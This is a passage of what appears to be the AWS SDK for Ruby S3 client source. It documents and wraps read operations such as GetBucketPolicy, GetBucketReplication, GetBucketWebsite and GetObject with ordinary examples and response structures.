# resp.queue_configurations[0].filter.key.filter_rules #=> Array
# resp.queue_configurations[0].filter.key.filter_rules[0].name #=> String, one of "prefix", "suffix"
# resp.queue_configurations[0].filter.key.filter_rules[0].value #=> String
# resp.lambda_function_configurations #=> Array
# resp.lambda_function_configurations[0].id #=> String
# resp.lambda_function_configurations[0].lambda_function_arn #=> String
# resp.lambda_function_configurations[0].events #=> Array
# resp.lambda_function_configurations[0].events[0] #=> String, one of "s3:ReducedRedundancyLostObject", "s3:ObjectCreated:*", "s3:ObjectCreated:Put", "s3:ObjectCreated:Post", "s3:ObjectCreated:Copy", "s3:ObjectCreated:CompleteMultipartUpload", "s3:ObjectRemoved:*", "s3:ObjectRemoved:Delete", "s3:ObjectRemoved:DeleteMarkerCreated", "s3:ObjectRestore:*", "s3:ObjectRestore:Post", "s3:ObjectRestore:Completed", "s3:Replication:*", "s3:Replication:OperationFailedReplication", "s3:Replication:OperationNotTracked", "s3:Replication:OperationMissedThreshold", "s3:Replication:OperationReplicatedAfterThreshold"
# resp.lambda_function_configurations[0].filter.key.filter_rules #=> Array
# resp.lambda_function_configurations[0].filter.key.filter_rules[0].name #=> String, one of "prefix", "suffix"
# resp.lambda_function_configurations[0].filter.key.filter_rules[0].value #=> String
#
# @see http://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/GetBucketNotificationConfiguration AWS API Documentation
#
# @overload get_bucket_notification_configuration(params = {})
# @param [Hash] params ({})
def get_bucket_notification_configuration(params = {}, options = {})
req = build_request(:get_bucket_notification_configuration, params)
req.send_request(options)
end
# Returns the policy of a specified bucket. If you are using an identity
# other than the root user of the AWS account that owns the bucket, the
# calling identity must have the `GetBucketPolicy` permissions on the
# specified bucket and belong to the bucket owner's account in order to
# use this operation.
#
# If you don't have `GetBucketPolicy` permissions, Amazon S3 returns a
# `403 Access Denied` error. If you have the correct permissions, but
# you're not using an identity that belongs to the bucket owner's
# account, Amazon S3 returns a `405 Method Not Allowed` error.
#
# As a security precaution, the root user of the AWS account that owns a
# bucket can always use this operation, even if the policy explicitly
# denies the root user the ability to perform this action.
#
# For more information about bucket policies, see [Using Bucket Policies
# and User Policies][1].
#
# The following operation is related to `GetBucketPolicy`\:
#
# * GetObject
#
# ^
#
#
#
# [1]: https://docs.aws.amazon.com/AmazonS3/latest/dev/using-iam-policies.html
#
# @option params [required, String] :bucket
# The bucket name for which to get the bucket policy.
#
# @return [Types::GetBucketPolicyOutput] Returns a {Seahorse::Client::Response response} object which responds to the following methods:
#
# * {Types::GetBucketPolicyOutput#policy #policy} => IO
#
#
# @example Example: To get bucket policy
#
# # The following example returns bucket policy associated with a bucket.
#
# resp = client.get_bucket_policy({
# bucket: "examplebucket",
# })
#
# resp.to_h outputs the following:
# {
# policy: "{\"Version\":\"2008-10-17\",\"Id\":\"LogPolicy\",\"Statement\":[{\"Sid\":\"Enables the log delivery group to publish logs to your bucket \",\"Effect\":\"Allow\",\"Principal\":{\"AWS\":\"111122223333\"},\"Action\":[\"s3:GetBucketAcl\",\"s3:GetObjectAcl\",\"s3:PutObject\"],\"Resource\":[\"arn:aws:s3:::policytest1/*\",\"arn:aws:s3:::policytest1\"]}]}",
# }
#
# @example Request syntax with placeholder values
#
# resp = client.get_bucket_policy({
# bucket: "BucketName", # required
# })
#
# @example Response structure
#
# resp.policy #=> String
#
# @see http://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/GetBucketPolicy AWS API Documentation
#
# @overload get_bucket_policy(params = {})
# @param [Hash] params ({})
def get_bucket_policy(params = {}, options = {}, &block)
req = build_request(:get_bucket_policy, params)
req.send_request(options, &block)
end
# Retrieves the policy status for an Amazon S3 bucket, indicating
# whether the bucket is public. In order to use this operation, you must
# have the `s3:GetBucketPolicyStatus` permission. For more information
# about Amazon S3 permissions, see [Specifying Permissions in a
# Policy][1].
#
# For more information about when Amazon S3 considers a bucket public,
# see [The Meaning of "Public"][2].
#
# The following operations are related to `GetBucketPolicyStatus`\:
#
# * [Using Amazon S3 Block Public Access][3]
#
# * GetPublicAccessBlock
#
# * PutPublicAccessBlock
#
# * DeletePublicAccessBlock
#
#
#
# [1]: https://docs.aws.amazon.com/AmazonS3/latest/dev/using-with-s3-actions.html
# [2]: https://docs.aws.amazon.com/AmazonS3/latest/dev/access-control-block-public-access.html#access-control-block-public-access-policy-status
# [3]: https://docs.aws.amazon.com/AmazonS3/latest/dev/access-control-block-public-access.html
#
# @option params [required, String] :bucket
# The name of the Amazon S3 bucket whose policy status you want to
# retrieve.
#
# @return [Types::GetBucketPolicyStatusOutput] Returns a {Seahorse::Client::Response response} object which responds to the following methods:
#
# * {Types::GetBucketPolicyStatusOutput#policy_status #policy_status} => Types::PolicyStatus
#
# @example Request syntax with placeholder values
#
# resp = client.get_bucket_policy_status({
# bucket: "BucketName", # required
# })
#
# @example Response structure
#
# resp.policy_status.is_public #=> Boolean
#
# @see http://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/GetBucketPolicyStatus AWS API Documentation
#
# @overload get_bucket_policy_status(params = {})
# @param [Hash] params ({})
def get_bucket_policy_status(params = {}, options = {})
req = build_request(:get_bucket_policy_status, params)
req.send_request(options)
end
# Returns the replication configuration of a bucket.
#
# <note markdown="1"> It can take a while to propagate the put or delete a replication
# configuration to all Amazon S3 systems. Therefore, a get request soon
# after put or delete can return a wrong result.
#
# </note>
#
# For information about replication configuration, see [Replication][1]
# in the *Amazon Simple Storage Service Developer Guide*.
#
# This operation requires permissions for the
# `s3:GetReplicationConfiguration` action. For more information about
# permissions, see [Using Bucket Policies and User Policies][2].
#
# If you include the `Filter` element in a replication configuration,
# you must also include the `DeleteMarkerReplication` and `Priority`
# elements. The response also returns those elements.
#
# For information about `GetBucketReplication` errors, see
# ReplicationErrorCodeList
#
# The following operations are related to `GetBucketReplication`\:
#
# * PutBucketReplication
#
# * DeleteBucketReplication
#
#
#
# [1]: https://docs.aws.amazon.com/AmazonS3/latest/dev/replication.html
# [2]: https://docs.aws.amazon.com/AmazonS3/latest/dev/using-iam-policies.html
#
# @option params [required, String] :bucket
# The bucket name for which to get the replication information.
#
# @return [Types::GetBucketReplicationOutput] Returns a {Seahorse::Client::Response response} object which responds to the following methods:
#
# * {Types::GetBucketReplicationOutput#replication_configuration #replication_configuration} => Types::ReplicationConfiguration
#
#
# @example Example: To get replication configuration set on a bucket
#
# # The following example returns replication configuration set on a bucket.
#
# resp = client.get_bucket_replication({
# bucket: "examplebucket",
# })
#
# resp.to_h outputs the following:
# {
# replication_configuration: {
# role: "arn:aws:iam::acct-id:role/example-role",
# rules: [
# {
# destination: {
# bucket: "arn:aws:s3:::destination-bucket",
# },
# id: "MWIwNTkwZmItMTE3MS00ZTc3LWJkZDEtNzRmODQwYzc1OTQy",
# prefix: "Tax",
# status: "Enabled",
# },
# ],
# },
# }
#
# @example Request syntax with placeholder values
#
# resp = client.get_bucket_replication({
# bucket: "BucketName", # required
# })
#
# @example Response structure
#
# resp.replication_configuration.role #=> String
# resp.replication_configuration.rules #=> Array
# resp.replication_configuration.rules[0].id #=> String
# resp.replication_configuration.rules[0].priority #=> Integer
# resp.replication_configuration.rules[0].prefix #=> String
# resp.replication_configuration.rules[0].filter.prefix #=> String
# resp.replication_configuration.rules[0].filter.tag.key #=> String
# resp.replication_configuration.rules[0].filter.tag.value #=> String
# resp.replication_configuration.rules[0].filter.and.prefix #=> String
# resp.replication_configuration.rules[0].filter.and.tags #=> Array
# resp.replication_configuration.rules[0].filter.and.tags[0].key #=> String
# resp.replication_configuration.rules[0].filter.and.tags[0].value #=> String
# resp.replication_configuration.rules[0].status #=> String, one of "Enabled", "Disabled"
# resp.replication_configuration.rules[0].source_selection_criteria.sse_kms_encrypted_objects.status #=> String, one of "Enabled", "Disabled"
# resp.replication_configuration.rules[0].existing_object_replication.status #=> String, one of "Enabled", "Disabled"
# resp.replication_configuration.rules[0].destination.bucket #=> String
# resp.replication_configuration.rules[0].destination.account #=> String
# resp.replication_configuration.rules[0].destination.storage_class #=> String, one of "STANDARD", "REDUCED_REDUNDANCY", "STANDARD_IA", "ONEZONE_IA", "INTELLIGENT_TIERING", "GLACIER", "DEEP_ARCHIVE"
# resp.replication_configuration.rules[0].destination.access_control_translation.owner #=> String, one of "Destination"
# resp.replication_configuration.rules[0].destination.encryption_configuration.replica_kms_key_id #=> String
# resp.replication_configuration.rules[0].destination.replication_time.status #=> String, one of "Enabled", "Disabled"
# resp.replication_configuration.rules[0].destination.replication_time.time.minutes #=> Integer
# resp.replication_configuration.rules[0].destination.metrics.status #=> String, one of "Enabled", "Disabled"
# resp.replication_configuration.rules[0].destination.metrics.event_threshold.minutes #=> Integer
# resp.replication_configuration.rules[0].delete_marker_replication.status #=> String, one of "Enabled", "Disabled"
#
# @see http://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/GetBucketReplication AWS API Documentation
#
# @overload get_bucket_replication(params = {})
# @param [Hash] params ({})
def get_bucket_replication(params = {}, options = {})
req = build_request(:get_bucket_replication, params)
req.send_request(options)
end
# Returns the request payment configuration of a bucket. To use this
# version of the operation, you must be the bucket owner. For more
# information, see [Requester Pays Buckets][1].
#
# The following operations are related to `GetBucketRequestPayment`\:
#
# * ListObjects
#
# ^
#
#
#
# [1]: https://docs.aws.amazon.com/AmazonS3/latest/dev/RequesterPaysBuckets.html
#
# @option params [required, String] :bucket
# The name of the bucket for which to get the payment request
# configuration
#
# @return [Types::GetBucketRequestPaymentOutput] Returns a {Seahorse::Client::Response response} object which responds to the following methods:
#
# * {Types::GetBucketRequestPaymentOutput#payer #payer} => String
#
#
# @example Example: To get bucket versioning configuration
#
# # The following example retrieves bucket versioning configuration.
#
# resp = client.get_bucket_request_payment({
# bucket: "examplebucket",
# })
#
# resp.to_h outputs the following:
# {
# payer: "BucketOwner",
# }
#
# @example Request syntax with placeholder values
#
# resp = client.get_bucket_request_payment({
# bucket: "BucketName", # required
# })
#
# @example Response structure
#
# resp.payer #=> String, one of "Requester", "BucketOwner"
#
# @see http://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/GetBucketRequestPayment AWS API Documentation
#
# @overload get_bucket_request_payment(params = {})
# @param [Hash] params ({})
def get_bucket_request_payment(params = {}, options = {})
req = build_request(:get_bucket_request_payment, params)
req.send_request(options)
end
# Returns the tag set associated with the bucket.
#
# To use this operation, you must have permission to perform the
# `s3:GetBucketTagging` action. By default, the bucket owner has this
# permission and can grant this permission to others.
#
# `GetBucketTagging` has the following special error:
#
# * Error code: `NoSuchTagSetError`
#
# * Description: There is no tag set associated with the bucket.
#
# ^
#
# The following operations are related to `GetBucketTagging`\:
#
# * PutBucketTagging
#
# * DeleteBucketTagging
#
# @option params [required, String] :bucket
# The name of the bucket for which to get the tagging information.
#
# @return [Types::GetBucketTaggingOutput] Returns a {Seahorse::Client::Response response} object which responds to the following methods:
#
# * {Types::GetBucketTaggingOutput#tag_set #tag_set} => Array<Types::Tag>
#
#
# @example Example: To get tag set associated with a bucket
#
# # The following example returns tag set associated with a bucket
#
# resp = client.get_bucket_tagging({
# bucket: "examplebucket",
# })
#
# resp.to_h outputs the following:
# {
# tag_set: [
# {
# key: "key1",
# value: "value1",
# },
# {
# key: "key2",
# value: "value2",
# },
# ],
# }
#
# @example Request syntax with placeholder values
#
# resp = client.get_bucket_tagging({
# bucket: "BucketName", # required
# })
#
# @example Response structure
#
# resp.tag_set #=> Array
# resp.tag_set[0].key #=> String
# resp.tag_set[0].value #=> String
#
# @see http://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/GetBucketTagging AWS API Documentation
#
# @overload get_bucket_tagging(params = {})
# @param [Hash] params ({})
def get_bucket_tagging(params = {}, options = {})
req = build_request(:get_bucket_tagging, params)
req.send_request(options)
end
# Returns the versioning state of a bucket.
#
# To retrieve the versioning state of a bucket, you must be the bucket
# owner.
#
# This implementation also returns the MFA Delete status of the
# versioning state. If the MFA Delete status is `enabled`, the bucket
# owner must use an authentication device to change the versioning state
# of the bucket.
#
# The following operations are related to `GetBucketVersioning`\:
#
# * GetObject
#
# * PutObject
#
# * DeleteObject
#
# @option params [required, String] :bucket
# The name of the bucket for which to get the versioning information.
#
# @return [Types::GetBucketVersioningOutput] Returns a {Seahorse::Client::Response response} object which responds to the following methods:
#
# * {Types::GetBucketVersioningOutput#status #status} => String
# * {Types::GetBucketVersioningOutput#mfa_delete #mfa_delete} => String
#
#
# @example Example: To get bucket versioning configuration
#
# # The following example retrieves bucket versioning configuration.
#
# resp = client.get_bucket_versioning({
# bucket: "examplebucket",
# })
#
# resp.to_h outputs the following:
# {
# mfa_delete: "Disabled",
# status: "Enabled",
# }
#
# @example Request syntax with placeholder values
#
# resp = client.get_bucket_versioning({
# bucket: "BucketName", # required
# })
#
# @example Response structure
#
# resp.status #=> String, one of "Enabled", "Suspended"
# resp.mfa_delete #=> String, one of "Enabled", "Disabled"
#
# @see http://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/GetBucketVersioning AWS API Documentation
#
# @overload get_bucket_versioning(params = {})
# @param [Hash] params ({})
def get_bucket_versioning(params = {}, options = {})
req = build_request(:get_bucket_versioning, params)
req.send_request(options)
end
# Returns the website configuration for a bucket. To host website on
# Amazon S3, you can configure a bucket as website by adding a website
# configuration. For more information about hosting websites, see
# [Hosting Websites on Amazon S3][1].
#
# This GET operation requires the `S3:GetBucketWebsite` permission. By
# default, only the bucket owner can read the bucket website
# configuration. However, bucket owners can allow other users to read
# the website configuration by writing a bucket policy granting them the
# `S3:GetBucketWebsite` permission.
#
# The following operations are related to `DeleteBucketWebsite`\:
#
# * DeleteBucketWebsite
#
# * PutBucketWebsite
#
#
#
# [1]: https://docs.aws.amazon.com/AmazonS3/latest/dev/WebsiteHosting.html
#
# @option params [required, String] :bucket
# The bucket name for which to get the website configuration.
#
# @return [Types::GetBucketWebsiteOutput] Returns a {Seahorse::Client::Response response} object which responds to the following methods:
#
# * {Types::GetBucketWebsiteOutput#redirect_all_requests_to #redirect_all_requests_to} => Types::RedirectAllRequestsTo
# * {Types::GetBucketWebsiteOutput#index_document #index_document} => Types::IndexDocument
# * {Types::GetBucketWebsiteOutput#error_document #error_document} => Types::ErrorDocument
# * {Types::GetBucketWebsiteOutput#routing_rules #routing_rules} => Array<Types::RoutingRule>
#
#
# @example Example: To get bucket website configuration
#
# # The following example retrieves website configuration of a bucket.
#
# resp = client.get_bucket_website({
# bucket: "examplebucket",
# })
#
# resp.to_h outputs the following:
# {
# error_document: {
# key: "error.html",
# },
# index_document: {
# suffix: "index.html",
# },
# }
#
# @example Request syntax with placeholder values
#
# resp = client.get_bucket_website({
# bucket: "BucketName", # required
# })
#
# @example Response structure
#
# resp.redirect_all_requests_to.host_name #=> String
# resp.redirect_all_requests_to.protocol #=> String, one of "http", "https"
# resp.index_document.suffix #=> String
# resp.error_document.key #=> String
# resp.routing_rules #=> Array
# resp.routing_rules[0].condition.http_error_code_returned_equals #=> String
# resp.routing_rules[0].condition.key_prefix_equals #=> String
# resp.routing_rules[0].redirect.host_name #=> String
# resp.routing_rules[0].redirect.http_redirect_code #=> String
# resp.routing_rules[0].redirect.protocol #=> String, one of "http", "https"
# resp.routing_rules[0].redirect.replace_key_prefix_with #=> String
# resp.routing_rules[0].redirect.replace_key_with #=> String
#
# @see http://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/GetBucketWebsite AWS API Documentation
#
# @overload get_bucket_website(params = {})
# @param [Hash] params ({})
def get_bucket_website(params = {}, options = {})
req = build_request(:get_bucket_website, params)
req.send_request(options)
end
# Retrieves objects from Amazon S3. To use `GET`, you must have `READ`
# access to the object. If you grant `READ` access to the anonymous
# user, you can return the object without using an authorization header.
#
# An Amazon S3 bucket has no directory hierarchy such as you would find
# in a typical computer file system. You can, however, create a logical
# hierarchy by using object key names that imply a folder structure. For
# example, instead of naming an object `sample.jpg`, you can name it
# `photos/2006/February/sample.jpg`.
#
# To get an object from such a logical hierarchy, specify the full key
# name for the object in the `GET` operation. For a virtual hosted-style
# request example, if you have the object
# `photos/2006/February/sample.jpg`, specify the resource as
# `/photos/2006/February/sample.jpg`. For a path-style request example,
# if you have the object `photos/2006/February/sample.jpg` in the bucket
# named `examplebucket`, specify the resource as
# `/examplebucket/photos/2006/February/sample.jpg`. For more information
# about request types, see [HTTP Host Header Bucket Specification][1].
#
# To distribute large files to many people, you can save bandwidth costs
# by using BitTorrent. For more information, see [Amazon S3 Torrent][2].
# For more information about returning the ACL of an object, see
# GetObjectAcl.
#
# If the object you are retrieving is stored in the GLACIER or
# DEEP\_ARCHIVE storage classes, before you can retrieve the object you
# must first restore a copy using . Otherwise, this operation returns an
# `InvalidObjectStateError` error. For information about restoring
# archived objects, see [Restoring Archived Objects][3].
#
# Encryption request headers, like `x-amz-server-side-encryption`,
# should not be sent for GET requests if your object uses server-side
# encryption with CMKs stored in AWS KMS (SSE-KMS) or server-side
# encryption with Amazon S3–managed encryption keys (SSE-S3). If your
# object does use these types of keys, you’ll get an HTTP 400 BadRequest
# error.
#
# If you encrypt an object by using server-side encryption with
# customer-provided encryption keys (SSE-C) when you store the object in
# Amazon S3, then when you GET the object, you must use the following
# headers:
#
# * x-amz-server-side-encryption-customer-algorithm
#
# * x-amz-server-side-encryption-customer-key
#
# * x-amz-server-side-encryption-customer-key-MD5
#
# For more information about SSE-C, see [Server-Side Encryption (Using
# Customer-Provided Encryption Keys)][4].
#
# Assuming you have permission to read object tags (permission for the
# `s3:GetObjectVersionTagging` action), the response also returns the
# `x-amz-tagging-count` header that provides the count of number of tags
# associated with the object. You can use GetObjectTagging to retrieve
# the tag set associated with an object.
#
# **Permissions**
#
# You need the `s3:GetObject` permission for this operation. For more
# information, see [Specifying Permissions in a Policy][5]. If the
# object you request does not exist, the error Amazon S3 returns depends
# on whether you also have the `s3:ListBucket` permission.
#
# * If you have the `s3:ListBucket` permission on the bucket, Amazon S3
# will return an HTTP status code 404 ("no such key") error.
#
# * If you don’t have the `s3:ListBucket` permission, Amazon S3 will
# return an HTTP status code 403 ("access denied") error.
#
# **Versioning**
#
# By default, the GET operation returns the current version of an
# object. To return a different version, use the `versionId`
# subresource.
#
# <note markdown="1"> If the current version of the object is a delete marker, Amazon S3
# behaves as if the object was deleted and includes
# `x-amz-delete-marker: true` in the response.
#
# </note>
#
# For more information about versioning, see PutBucketVersioning.
#
# **Overriding Response Header Values**
#
# There are times when you want to override certain response header
# values in a GET response. For example, you might override the
# Content-Disposition response header value in your GET request.
#
# You can override values for a set of response headers using the
# following query parameters. These response header values are sent only
# on a successful request, that is, when status code 200 OK is returned.
# The set of headers you can override using these parameters is a subset
# of the headers that Amazon S3 accepts when you create an object. The
# response headers that you can override for the GET response are
# `Content-Type`, `Content-Language`, `Expires`, `Cache-Control`,
# `Content-Disposition`, and `Content-Encoding`. To override these
# header values in the GET response, you use the following request
# parameters.
#
# <note markdown="1"> You must sign the request, either using an Authorization header or a
# presigned URL, when using these parameters. They cannot be used with
# an unsigned (anonymous) request.
#
# </note>
#
# * `response-content-type`
#
# * `response-content-language`
#
# * `response-expires`
#
# * `response-cache-control`
#
# * `response-content-disposition`
#
# * `response-content-encoding`
#
# **Additional Considerations about Request Headers**
#
# If both of the `If-Match` and `If-Unmodified-Since` headers are
# present in the request as follows: `If-Match` condition evaluates to
# `true`, and; `If-Unmodified-Since` condition evaluates to `false`;
# then, S3 returns 200 OK and the data requested.
#
# If both of the `If-None-Match` and `If-Modified-Since` headers are
# present in the request as follows:` If-None-Match` condition evaluates
# to `false`, and; `If-Modified-Since` condition evaluates to `true`;
# then, S3 returns 304 Not Modified response code.
#
# For more information about conditional requests, see [RFC 7232][6].
#
# The following operations are related to `GetObject`\:
#
# * ListBuckets
#
# * GetObjectAcl
#
#
#
# [1]: https://docs.aws.amazon.com/AmazonS3/latest/dev/VirtualHosting.html#VirtualHostingSpecifyBucket
# [2]: https://docs.aws.amazon.com/AmazonS3/latest/dev/S3Torrent.html
# [3]: https://docs.aws.amazon.com/AmazonS3/latest/dev/restoring-objects.html
# [4]: https://docs.aws.amazon.com/AmazonS3/latest/dev/ServerSideEncryptionCustomerKeys.html
# [5]: https://docs.aws.amazon.com/AmazonS3/latest/dev/using-with-s3-actions.html
# [6]: https://tools.ietf.org/html/rfc7232
#
# @option params [String, IO] :response_target
# Where to write response data, file path, or IO object.
#
# @option params [required, String] :bucket
# The bucket name containing the object.
#
# When using this API with an access point, you must direct requests to
# the access point hostname. The access point hostname takes the form
# *AccessPointName*-*AccountId*.s3-accesspoint.*Region*.amazonaws.com.
# When using this operation using an access point through the AWS SDKs,
# you provide the access point ARN in place of the bucket name. For more
# information about access point ARNs, see [Using Access Points][1] in
# the *Amazon Simple Storage Service Developer Guide*.
#
#
#
# [1]: https://docs.aws.amazon.com/AmazonS3/latest/dev/using-access-points.html
#
# @option params [String] :if_match
# Return the object only if its entity tag (ETag) is the same as the one
# specified, otherwise return a 412 (precondition failed).
#
# @option params [Time,DateTime,Date,Integer,String] :if_modified_since
# Return the object only if it has been modified since the specified
# time, otherwise return a 304 (not modified).
#
# @option params [String] :if_none_match
# Return the object only if its entity tag (ETag) is different from the
# one specified, otherwise return a 304 (not modified).
#
# @option params [Time,DateTime,Date,Integer,String] :if_unmodified_since
# Return the object only if it has not been modified since the specified
# time, otherwise return a 412 (precondition failed).
#
# @option params [required, String] :key
# Key of the object to get.
#
# @option params [String] :range
# Downloads the specified range bytes of an object. For more information
# about the HTTP Range header, see
# [https://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html#sec14.35][1].
#
# <note markdown="1"> Amazon S3 doesn't support retrieving multiple ranges of data per
# `GET` request.
#
# </note>
#
#
#
# [1]: https://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html#sec14.35
#
# @option params [String] :response_cache_control
# Sets the `Cache-Control` header of the response.
#
# @option params [String] :response_content_disposition
# Sets the `Content-Disposition` header of the response
#
# @option params [String] :response_content_encoding
# Sets the `Content-Encoding` header of the response.
#
# @option params [String] :response_content_language
# Sets the `Content-Language` header of the response.
#
# @option params [String] :response_content_type
# Sets the `Content-Type` header of the response.
#
# @option params [Time,DateTime,Date,Integer,String] :response_expires
# Sets the `Expires` header of the response.
#
# @option params [String] :version_id
# VersionId used to reference a specific version of the object.
#
# @option params [String] :sse_customer_algorithm
# Specifies the algorithm to use to when encrypting the object (for
# example, AES256).
#
# @option params [String] :sse_customer_key
# Specifies the customer-provided encryption key for Amazon S3 to use in
# encrypting data. This value is used to store the object and then it is
# discarded; Amazon S3 does not store the encryption key. The key must
# be appropriate for use with the algorithm specified in the
# `x-amz-server-side-encryption-customer-algorithm` header.
#
# @option params [String] :sse_customer_key_md5
# Specifies the 128-bit MD5 digest of the encryption key according to
# RFC 1321. Amazon S3 uses this header for a message integrity check to
# ensure that the encryption key was transmitted without error.
#
# @option params [String] :request_payer
# Confirms that the requester knows that they will be charged for the
# request. Bucket owners need not specify this parameter in their
# requests. For information about downloading objects from requester
# pays buckets, see [Downloading Objects in Requestor Pays Buckets][1]
# in the *Amazon S3 Developer Guide*.
#
#
#
# [1]: https://docs.aws.amazon.com/AmazonS3/latest/dev/ObjectsinRequesterPaysBuckets.html
#
# @option params [Integer] :part_number
# Part number of the object being read. This is a positive integer
# between 1 and 10,000. Effectively performs a 'ranged' GET request
# for the part specified. Useful for downloading just a part of an
# object.
#
# @return [Types::GetObjectOutput] Returns a {Seahorse::Client::Response response} object which responds to the following methods:
#
# * {Types::GetObjectOutput#body #body} => IO
# * {Types::GetObjectOutput#delete_marker #delete_marker} => Boolean
# * {Types::GetObjectOutput#accept_ranges #accept_ranges} => String
# * {Types::GetObjectOutput#expiration #expiration} => String
# * {Types::GetObjectOutput#restore #restore} => String
# * {Types::GetObjectOutput#last_modified #last_modified} => Time
# * {Types::GetObjectOutput#content_length #content_length} => Integer
# * {Types::GetObjectOutput#etag #etag} => String
# * {Types::GetObjectOutput#missing_meta #missing_meta} => Integer
# * {Types::GetObjectOutput#version_id #version_id} => String
# * {Types::GetObjectOutput#cache_control #cache_control} => String
# * {Types::GetObjectOutput#content_disposition #content_disposition} => String
# * {Types::GetObjectOutput#content_encoding #content_encoding} => String
# * {Types::GetObjectOutput#content_language #content_language} => String
# * {Types::GetObjectOutput#content_range #content_range} => String
# * {Types::GetObjectOutput#content_type #content_type} => String
# * {Types::GetObjectOutput#expires #expires} => Time
# * {Types::GetObjectOutput#expires_string #expires_string} => String
# * {Types::GetObjectOutput#website_redirect_location #website_redirect_location} => String
# * {Types::GetObjectOutput#server_side_encryption #server_side_encryption} => String
# * {Types::GetObjectOutput#metadata #metadata} => Hash<String,String>
# * {Types::GetObjectOutput#sse_customer_algorithm #sse_customer_algorithm} => String
# * {Types::GetObjectOutput#sse_customer_key_md5 #sse_customer_key_md5} => String
# * {Types::GetObjectOutput#ssekms_key_id #ssekms_key_id} => String
# * {Types::GetObjectOutput#storage_class #storage_class} => String
# * {Types::GetObjectOutput#request_charged #request_charged} => String
# * {Types::GetObjectOutput#replication_status #replication_status} => String
# * {Types::GetObjectOutput#parts_count #parts_count} => Integer
# * {Types::GetObjectOutput#tag_count #tag_count} => Integer
# * {Types::GetObjectOutput#object_lock_mode #object_lock_mode} => String
# * {Types::GetObjectOutput#object_lock_retain_until_date #object_lock_retain_until_date} => Time
# * {Types::GetObjectOutput#object_lock_legal_hold_status #object_lock_legal_hold_status} => String
#
#
# @example Example: To retrieve a byte range of an object
#
# # The following example retrieves an object for an S3 bucket. The request specifies the range header to retrieve a
# # specific byte range.
#
# resp = client.get_object({
# bucket: "examplebucket",
# key: "SampleFile.txt",
# range: "bytes=0-9",
# })
#
# resp.to_h outputs the following:
# {
# accept_ranges: "bytes",
# content_length: 10,
# content_range: "bytes 0-9/43",
# content_type: "text/plain",
# etag: "\"0d94420ffd0bc68cd3d152506b97a9cc\"",
# last_modified: Time.parse("Thu, 09 Oct 2014 22:57:28 GMT"),
# metadata: {
# },
# version_id: "null",
# }
#
# @example Example: To retrieve an object
#
# # The following example retrieves an object for an S3 bucket.
#
# resp = client.get_object({
# bucket: "examplebucket",
# key: "HappyFace.jpg",
# })
#
# resp.to_h outputs the following:
# {
# accept_ranges: "bytes",
# content_length: 3191,
# content_type: "image/jpeg",
# etag: "\"6805f2cfc46c0f04559748bb039d69ae\"",
# last_modified: Time.parse("Thu, 15 Dec 2016 01:19:41 GMT"),
# metadata: {
# },
# tag_count: 2,
# version_id: "null",
# }
#
# @example Download an object to disk
# # stream object directly to disk
# resp = s3.get_object(
# response_target: '/path/to/file',
# bucket: 'bucket-name',
# key: 'object-key')
#
# # you can still access other response data
# resp.metadata #=> { ... }
# resp.etag #=> "..."
#
# @example Download object into memory
# # omit :response_target to download to a StringIO in memory
# resp = s3.get_object(bucket: 'bucket-name', key: 'object-key')
#
# # call #read or #string on the response body
# resp.body.read
# #=> '...'
#
# @example Streaming data to a block
# # WARNING: yielding data to a block disables retries of networking errors
# File.open('/path/to/file', 'wb') do |file|
# s3.get_object(bucket: 'bucket-name', key: 'object-key') do |chunk|
# file.write(chunk)
# end
# end
#
# @example Request syntax with placeholder values
#
# resp = client.get_object({
# bucket: "BucketName", # required
# if_match: "IfMatch",
# if_modified_since: Time.now,
# if_none_match: "IfNoneMatch",
# if_unmodified_since: Time.now,
# key: "ObjectKey", # required
# range: "Range",
# response_cache_control: "ResponseCacheControl",
# response_content_disposition: "ResponseContentDisposition",
# response_content_encoding: "ResponseContentEncoding",
# response_content_language: "ResponseContentLanguage",
# response_content_type: "ResponseContentType",
# response_expires: Time.now,
# version_id: "ObjectVersionId",
# sse_customer_algorithm: "SSECustomerAlgorithm",
# sse_customer_key: "SSECustomerKey",
# sse_customer_key_md5: "SSECustomerKeyMD5",
# request_payer: "requester", # accepts requester
# part_number: 1,
# })
#
# @example Response structure
#
# resp.body #=> IO
# resp.delete_marker #=> Boolean
# resp.accept_ranges #=> String
# resp.expiration #=> String
# resp.restore #=> String
# resp.last_modified #=> Time
# resp.content_length #=> Integer
# resp.etag #=> String
# resp.missing_meta #=> Integer
# resp.version_id #=> String
# resp.cache_control #=> String
# resp.content_disposition #=> String
# resp.content_encoding #=> String
# resp.content_language #=> String
# resp.content_range #=> String
# resp.content_type #=> String
# resp.expires #=> Time
# resp.expires_string #=> String
# resp.website_redirect_location #=> String
# resp.server_side_encryption #=> String, one of "AES256", "aws:kms"
# resp.metadata #=> Hash
# resp.metadata["MetadataKey"] #=> String
# resp.sse_customer_algorithm #=> String
# resp.sse_customer_key_md5 #=> String
# resp.ssekms_key_id #=> String
# resp.storage_class #=> String, one of "STANDARD", "REDUCED_REDUNDANCY", "STANDARD_IA", "ONEZONE_IA", "INTELLIGENT_TIERING", "GLACIER", "DEEP_ARCHIVE"
# resp.request_charged #=> String, one of "requester"
# resp.replication_status #=> String, one of "COMPLETE", "PENDING", "FAILED", "REPLICA"
# resp.parts_count #=> Integer
# resp.tag_count #=> Integer
# resp.object_lock_mode #=> String, one of "GOVERNANCE", "COMPLIANCE"
# resp.object_lock_retain_until_date #=> Time
# resp.object_lock_legal_hold_status #=> String, one of "ON", "OFF"
#
# @see http://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/GetObject AWS API Documentation
#
# @overload get_object(params = {})
# @param [Hash] params ({})
def get_object(params = {}, options = {}, &block)
req = build_request(:get_object, params)
req.send_request(options, &block)
end
# Returns the access control list (ACL) of an object. To use this
# operation, you must have READ\_ACP access to the object.
#
# **Versioning**
#
# By default, GET returns ACL information about the current version of
# an object. To return ACL information about a different version, use
# the versionId subresource.
#
# The following operations are related to `GetObjectAcl`\:
#
# * GetObject
#
# * DeleteObject
#
# * PutObject
#
# @option params [required, String] :bucket
# The bucket name that contains the object for which to get the ACL
# information.
